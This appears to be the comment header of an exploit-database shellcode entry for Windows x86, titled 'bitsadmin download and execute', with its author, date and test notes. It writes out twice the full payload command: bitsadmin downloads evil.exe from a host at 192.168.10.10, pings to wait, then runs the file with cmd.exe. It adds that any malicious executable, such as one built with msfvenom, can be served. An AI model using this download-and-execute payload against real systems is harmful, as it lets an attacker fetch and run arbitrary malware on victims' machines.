; Windows/x86 - bitsadmin Download and Execute (http://192.168.10.10/evil.exe c:\evil.exe) Shellcode (210 Bytes)
; Shellcode Title : bitsadmin download and execute
; Shellcode Author : Joseph McDonagh
; Date June 26, 2019
; Shellcode Length 210
; However, if the application you are exploiting already loads it, then all you need ...
; ... is the System Call and ExitProcess in kernel32.dll
; In between download and execute is ping -n 30 localhost, which provides a delay for the ...
; ... relatively slow bitsadmin.exe program
; Tested on Windows XP SP2
; Acknowledgement to Kartik Durg, who inspired me to start making my own shellcode
; after reading iamroot blog
; Acknowledgement to POB, using start has really helped me alot in manual shellcode efforts
; start bitsadmin.exe /transfer "njob30" http://192.168.10.10/evil.exe "c:\evil.exe" && ping -n 30 127.0.0.1 && cmd.exe /c c:\evil.exe
; evil.exe can be generated by msfvenom, or be ANY malcious executable you happen to have
;
; EDB-Note: start bitsadmin.exe /transfer "n job30" http://192.168.10.10/evil.exe "c:\evil.exe" && ping -n 30 127.0.0.1 && cmd.exe /c c:\evil.exe
